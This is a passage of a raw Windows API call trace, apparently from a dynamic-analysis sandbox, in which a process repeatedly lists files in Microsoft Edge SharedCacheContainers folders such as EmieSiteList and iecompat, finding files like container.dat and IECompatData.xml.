SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.044] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", lpFilePart=0x0) returned 0x5c [0180.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.044] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", lpFilePart=0x0) returned 0x5c [0180.044] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.044] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.044] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.045] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.045] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.045] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", lpFilePart=0x0) returned 0x5c [0180.045] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0180.045] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.045] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.046] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0180.046] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0180.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", lpFilePart=0x0) returned 0x5c [0180.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", lpFilePart=0x0) returned 0x5c [0180.046] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.046] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.047] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.047] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.047] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.047] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", lpFilePart=0x0) returned 0x5c [0180.047] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f9d0 [0180.047] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.047] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.048] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0180.048] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0180.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", lpFilePart=0x0) returned 0x58 [0180.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", lpFilePart=0x0) returned 0x58 [0180.048] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0180.048] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.048] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.049] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe48ebe4f, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x12a35, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0180.049] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.049] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0180.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", lpFilePart=0x0) returned 0x58 [0180.049] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.049] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.049] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.049] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe48ebe4f, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x12a35, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0180.050] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe48ebe4f, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x12a35, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData.xml", cAlternateFileName="IECOMP~1.XML")) returned 0 [0180.050] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", lpFilePart=0x0) returned 0x5a [0180.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", lpFilePart=0x0) returned 0x5a [0180.053] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0180.053] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.053] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.054] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.054] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0180.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.054] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", lpFilePart=0x0) returned 0x5a [0180.054] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.054] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.054] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.054] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", 